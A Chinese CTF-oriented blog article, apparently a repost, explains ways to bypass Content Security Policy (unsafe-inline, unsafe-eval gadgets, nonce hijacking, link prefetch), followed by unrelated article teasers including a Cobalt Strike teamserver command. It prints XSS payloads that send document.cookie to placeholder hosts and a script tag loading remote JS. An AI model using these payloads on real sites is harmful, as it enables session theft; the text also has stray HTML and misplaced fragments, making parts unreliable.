CSP绕过

article/2025/9/27 14:52:49

01 比赛中常见的绕过CSP

csp例子:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">
目前在比赛中常见的绕过 CSP 一般是:
script-src 'self' 'unsafe-inline'script-src 'self' 'unsafe-eval'script-src 'nonce-*'xx-src self

script-src ‘self’ 代表着只能加载符合同源策略的文件,直接插入至 html 页面中的静态 script 标签将无法执行。结合其他 CSP 来看,常用的 iframe,object 等标签也是无法被绕过的。
下面分别分析,
通常情况下,除了 CSP 之外,还都会搭配一定的过滤措施来让选手进行绕过。这里不是我们讨论的。

script-src ‘self’ ‘unsafe-inline’

在允许unsafe-inline的情况下,可以用window.location,或者window.open之类的方法进行跳转绕过。

<script>window.location="https://www.XXX.com/x.php?c=[cookie]";</script>
<script>window.open('//www.XXX.com/?'+escape(document.cookie))</script>
<script>window.location.href='https://www.XXX.com/?cookie='+document.cookie</script>

内嵌script都可以执行,当然可以直接执行本页面的JS,如输入即可,这里的利用和XSS利用一致,没有啥绕过技巧,不再累赘。

script-src ‘self’ ‘unsafe-eval’

重用Gadgets代码来绕过CSP,具体可参考Black Hat 2017的ppt,上面总结了可以被用来绕过CSP的一些JS库。

例如假设页面中使用了Jquery-mobile库,并且CSP策略中包含”script-src ‘unsafe-eval’”或者”script-src ‘strict-dynamic’”,那么下面的向量就可以绕过CSP:

<div data-role=popup id='<script>alert(1)</script>'></div>

在这个PPT之外的还有一些库也可以被利用,例如RCTF2018中遇到的amp库,下面的标签可以获取名字为FLAG的cookie:

<amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel>

Gadgets代码

这里提到了Gadgets代码,简单引用一下,详情看文章:

https://xz.aliyun.com/t/4165#toc-11

在可以注入任意HTML代码(例如富文本编辑器等应用)的条件下,利用JavaScript库中的一些代码片段(Gadget)来绕过常见的XSS防御机制,包括WAF、浏览器的XSS Filter、HTML Sanitizers、Content Security Policy等。

其中WAF考虑对请求值和返回值进行处理的正则匹配型或者字符匹配型WAF,HTML Sanitizers是则指DOMPurify这种基于DOM解析的XSS过滤器,Content Security Policy则主要考虑启用unsafe-eval或strict-dynamic的情况。
简单例子
和二进制攻击中的Gadget作用类似,本文中的Gadget是指可能被恶意利用的代码片段,下面以一个简单的例子来说明:

var button = document.getElementById("mbutton");button.innerHTML = button.getAttribute("data-text");

在这段代码中,取出了Id为mbutton的元素,并将data-text的值赋到了该元素的innerHTML属性。这是一些库中为了实现类似Tooltip等效果常用的一种方式,但在存在这种代码片段的时候,只要构造如下的元素,就可造成XSS攻击。

<button id="mbutton" data-text="<img src=x οnerrοr=alert(/xss/)>">a</button>

Gadget分类
把可利用的Gadget分为五类,具体如下:

字符串操作

<script>window.location="https://www.mi1k7ea.com/x.php?c=[cookie]";</script>
<script>window.open('//www.mi1k7ea.com/?'+escape(document.cookie))</script>
<script>window.location.href='https://www.mi1k7ea.com/?cookie='+document.cookie</script>

种Gadget主要是指对字符串的操作,一个字符串在经过操作后可能变为造成攻击的字符。
例如Polymer中的一段代码dash.replace(/-[a-z]/g, (m) => m[1].toUpperCase()),这段代码会把以连字符构成的字符串变为大写,例如像inner-h-t-m-l这种字符串处理后会变成innerHTML。大部分WAF是对请求值和返回值做匹配,而此时传入的是inner-h-t-m-l而不是innerHTML,那么就有可能造成绕过。

元素创建
这种Gadget是像document.createElement(input) document.createElement("script") jQuery("<" + tag + ">") jQuery.html(input) 这种直接创建的标签甚至script的代码片段。当输入一定程度可控时,则可利用这种Gadget。

函数创建

这种Gadget是指创建函数的代码段,比如Underscore.js中发现的一段代码:

source = "var __t,__p='',__j=Array.prototype.join," +
"print=function(){__p+=__j.call(arguments,'');};\n" +
source + 'return __p;\n';
var render = new Function(
settings.variable || 'obj', '_', source);

这种Gadget会间接执行构造的代码段,在一定条件下可造成攻击。

JavaScript代码执行

这种Gadget主要是指类似eval这种会直接执行传入代码的代码段,例如:

eval(input);
inputFunction.apply();
node.innerHTML = "prefix" + input + "suffix";
scriptElement.src = input;
node.appendChild(input);

表达式解析

很多前端框架都提供了自己的模版引擎,有着丰富而强大的功能,这种Gadget就是框架中对模版表达式解析执行而造成的问题。例如Aurelia框架中可以用下面这段代码来触发一个代码执行。

<div ref=me
s.bind="$this.me.ownerDocument.defaultView.alert(1)"
></div>

绕过:script-src:‘none-*’

利用浏览器补全绕过script nonce

Content-Security-Policy: default-src 'none';script-src 'nonce-xxx'

这种情况下,script标签需要带上正确的nonce属性值才能执行JS代码。

如果,出现了脚本插入点在含有nonce属性值的script标签前面的情况时,如:

<p>插入点</p><script id="aa" nonce="abc">document.write('CSP');</script>

可以插入如下内容来利用浏览器补全功能:

<script src="http://192.168.248.1/a.js" a="

最终形成如下页面结构:

<p><script src="http://192.168.248.1/a.js" a="</p>
<script id="aa" nonce="xxx">document.write('CSP');</script>

也就是说,利用浏览器补全的功能,在含有nonce的script标签前面的插入点插入script标签的同时,插入a=”以闭合后面script标签的第一个属性的双引号,从而使中间的内容失效,将本来的nonce属性劫持到了插入的script标签中,使得该插入标签可以正常执行JS代码,也就是说浏览器会给我们自动补全只有一个双引号的属性的值。

还有一个注意点,上述的a标签在Chrome上是执行不了的,原因在于Chrome对于标签的解析方式则不同,Chrome中解析script标签的优先级高于解析属性双引号内的值,因而前面双引号闭合的时候没法正常使其失效。但是这里可以使用src属性替代,使其可在Chrome下正常执行。

当我们输入

<script src="http://192.168.43.201/a.js" a="

时即会弹框:
值得注意的就是,要想成功利用在nonce属性前需要存在一个用引号括起来的属性,不然会失效。

利用浏览器缓存绕过script nonce
原理:
在这里插入图片描述
csp-test.php,开启了nonce script规则,并且有XSS点:
我们需要利用iframe引入这个页面,并对其发起请求获取页面内容,这里我们通过向其中注入一个
标签来吃掉后面的script标签,这样就可以获取内容。

</p>
<h2 id="绕过xx-src-self">绕过xx-src self</h2>
<p>CSP策略中xx-src self的设置能够使大部分的XSS和CSRF都会失效,但link标签的预加载功能可以进行绕过。</p>
<p>在Chrome下,可以使用如下标签发送cookie(最新版Chrome会禁止):</p>
<pre><code><link rel="prefetch" href="https://www.xxx/c.php?c=[cookie]">
</code></pre>
<p>在Firefox下,可以将cookie作为子域名,用DNS预解析的方式把cookie带出去,查看DNS服务器的日志就能得到cookie:</p>
<pre><code><link rel="dns-prefetch" href="//[cookie].xxx.com">
</code></pre>
<p><strong>特例:</strong></p>
<p>script-src 'self' 代表着只能加载符合同源策略的文件,直接插入至 html 页面中的静态 script 标签将无法执行。结合其他 CSP 来看,常用的 iframe,object 等标签也是无法被绕过的。<br>
使用 link 的预加载机制去带出 cookie,然而受限于 script-src 'self' 的限制,虽然能够通过 dns 带出信息,但是无法将 cookie 带出来,因此预加载也是无法使用的。于是只能另外寻找突破口,在查阅大量资料后发现,可以通过引入正常的非 js 文件来达到引入 js 脚本的效果。题目中要是具有上传点,可以将 js 代码插入到尾部来进行绕过。</p>
<h2 id="参考">参考</h2>
<p><a href="https://www.mi1k7ea.com/2019/02/24/CSP%E7%AD%96%E7%95%A5%E5%8F%8A%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7%E5%B0%8F%E7%BB%93" target="_blank">https://www.mi1k7ea.com/2019/02/24/CSP策略及绕过技巧小结</a></p>
<p><a href="https://xz.aliyun.com/t/4165#toc-11" target="_blank">https://xz.aliyun.com/t/4165#toc-11</a></p>

标签来吃掉后面的script标签,这样就可以获取内容。
转载链接地址:

https://www.cnblogs.com/wangtanzhi/p/12616449.html
https://www.cnblogs.com/Icedisaster/p/15664431.html

http://chatgpt.dhexx.cn/article/TiMgNGbc.shtml

相关文章

CS的使用

1&#xff09;首先创建服务端 命令&#xff1a;teamserver 192.168.71.130(主机IP) 123456&#xff08;随便设&#xff09; teamserver 192.168.71.130 123456 >/dev/null 2>&1 & (命令隐藏后台&#xff0c;jobs查看后台&#xff0c;客户端同理&#xff0c;在st…

C/C++Unix网络编程-IPC简介

IPC是进程间通信的简称。 进程、线程与信息共享 Unix进程间的信息共享的方式&#xff1a; (1) 左边的两个进程共享存留于文件系统中某个文件上的某些信息。为访问这些信息、每个进程都得穿越内核(例如read、write、lseek等)。当一个文件有待更新时&#xff0c;某种形式的同步…

CTP For Python

GitHub地址&#xff1a;https://github.com/shizhuolin/PyCTP 这是程序化期货交易上期ctp接口版本.将其包装为python版本. 支持python3 编译需求:vs2010/gcc 编译方法 python setup.py build PyCTP 编译方法 开发环境&#xff1a;windows 10 64bit, python 3.4.3 32bit, Visu…

CSP-S 2021

[CSP-S 2021] 括号序列 题目描述 小 w 在赛场上遇到了这样一个题&#xff1a;一个长度为 n n n 且符合规范的括号序列&#xff0c;其有些位置已经确定了&#xff0c;有些位置尚未确定&#xff0c;求这样的括号序列一共有多少个。 身经百战的小 w 当然一眼就秒了这题&#x…

CyberSploit:1

一、环境搭建 靶机下载地址&#xff1a;https://www.vulnhub.com/entry/cybersploit-1,506/ 二、漏洞复现 探测靶机ip地址&#xff0c;得到靶机IP地址 nmap扫描服务以及端口&#xff0c;发现80和22端口 访问80端口&#xff0c;看到一个页面&#xff0c;查看源码未发现东西 …

[网络安全]dSploit-Android系统下的网络分析和渗透套件的使用

一、准备工作 一台已经获得root权限的安卓手机&#xff0c;并且安卓系统版本在 2.3 以上 busyBox 安装软件 下载地址 BusyBox 是一个集成了一百多个最常用linux命令和工具的软件。&#xff3b;百度百科&#xff3d; 安装这个软件主要是为dsploit软件的运行提供 linux 中…

记一次无线渗透

用到的工具 一台root的安卓手机&#xff08;我这台手机刷了miui9&#xff09; Csploit 安卓渗透神器 下载地址&#xff1a;https://github.com/cSploit/android/releases Kali meterpreter 当然你有Kali的Nethunter设备更好 开始测试 利用万能钥匙找一波wifi&#xff0c;运气好…

为网络安全红队方向提供的资源,工具大合集(渗透测试)

这是一份必备的资源大合集&#xff0c;收录了最优秀的网络安全红队方向&#xff08;渗透测试&#xff09;的资源和工具。 &#xff08;文末领取读者福利&#xff09; 无论您是初学者还是专业人士&#xff0c;都能从中获得所需的技能和知识。 在这个信息化时代&#xff0c;网络…

如何在网站中插入视频

&#xfeff;&#xfeff; 很多新手站长在往自己网站里&#xff0c;添加土豆优酷等视频网站里的视频时&#xff0c;会遇到一些麻烦,珊珊在这里向大家介绍一种简单方法. 1.首先要找到要插入的视频&#xff0c;如下图点击分享给朋友右侧的小按钮. 2.点击按钮后弹出一个窗口点击复…

Word中轻松插入本地视频

场景 在Word文档中插入视频 实现 新建或打开Word文档 找到上面插入菜单栏&#xff0c;点击并选择对象 点击后选择PPT 点击确定 此时会打开PPT&#xff0c;然后再选择上面的插入 选择插入下的视频选项&#xff0c;然后选择PC上的视频 选择视频后点击插入 可以调整视频大小 …

如何在html里插入视频

第一步&#xff1a;首先下载video.js&#xff0c;百度一下就能找到。 这个是下载后的目录。 第二步&#xff1a;先把要用到的js\css\swf都加载到html页面上。 如&#xff1a; 第三步&#xff1a;加入下面的代码&#xff1a; <video id"my_video_1" class"…

制作往图片里插入视频,视频添加到图片上播放

在视频中还有个小视频同时播放&#xff0c;这种画中画的效果以前都学习过&#xff0c;那在图片上插入视频播放&#xff0c;可以用媒体梦工厂中的画中画功能来制作吗&#xff1f;这个肯定是可以的了。下面就来看看怎么的操作的吧。 先来看看图片加视频制作出来的画中画效果 制作…

插入视频--使用<video>标签为网页添加视频

使用方法 举例 显示结果 在网页上添加视频和添加音频的标签属性用法相同。 讲解 1.autoplay:如果出现该属性&#xff0c;则视频在就绪后马上播放。 2.controls:如果出现该属性&#xff0c;则向用户显示控件&#xff0c;比如播放按钮。 3.loop:如果出现该属性&#xff0c;…

视频剪辑工具,如何批量在图片中插入视频

怎么批量在图片中插入视频呢&#xff1f;其实这是一种很常见的效果&#xff0c;那么这种效果是怎么制作的呢&#xff1f;下面随小编一起来操作。 所需工具 多张图片、视频素材 操作步骤 运行媒体梦工厂&#xff0c;将图片导入画中画板块中的“底画”中&#xff0c;多张图片&…

教你给视频画面任意位置插入GIF图

视频怎么添加GIF图片呢&#xff1f;如何在视频任意位置添加的呢&#xff1f;其实很简单。教你这个简单的剪辑方法。一起来试试吧。 准备工具&#xff1a; 视频素材及动图 下载一个视频剪辑高手 开始操作&#xff1a; 运行软件登录上&#xff0c;在多种功能上选择“批量剪辑视…

计算机word如何提交,如何在word添加视频?

您可以从计算机或Internet添加视频以直接在Word文档中播放。 此功能使您(或与您共享文档的人)可以直接观看视频而无需离开文档。 将视频添加到Word文档 将离线视频(或计算机存储中的视频)添加到Word文档的不利之处在于&#xff0c;它们只能在您的PC上播放。 如果您将文档发送给…

如何在html网页中插入视频(以及让视频自动播放的问题)

直接进入正题&#xff1a; 关于视频的插入可使用 video标签 如下图 简单介绍下用到的几个属性 class定义了video类 在style中调整这个类的长度和高度属性&#xff1b; src处引入视频的链接&#xff1b; controls属性&#xff1a;允许用户控制视频的播放&#xff0c;包括音…

HTML插入视频和音频

一、插入视频 src表示视频来源位置 height表示视频高度 autoplay表示视频自动播放 loop表示循环播放 controls表示进度控制条 muted表示静音播放 poster表示视频封面所用的图片路径 video/mp4表示视频的格式 例如&#xff1a; <video src"images\sp1.mp4&quo…

如何在html中加入视频

第一步&#xff1a;首先下载video.js&#xff0c;百度一下就能找到。 这个是下载后的目录。 第二步&#xff1a;先把要用到的js\css\swf都加载到html页面上。 如&#xff1a; <link href"video-js/video-js.css" rel"stylesheet" type"text/css&qu…

关于使用video标签插入视频时,视频无法播放的问题

写代码遇到一个问题&#xff1a;使用video标签插入视频时&#xff0c;在chrome中无法播放&#xff0c;只显示了一个封面图片&#xff0c;在ie却可以播放。 video的使用是看别人的&#xff1a; 由于照搬别人的代码&#xff0c;我写的代码如下&#xff1a; <video width&q…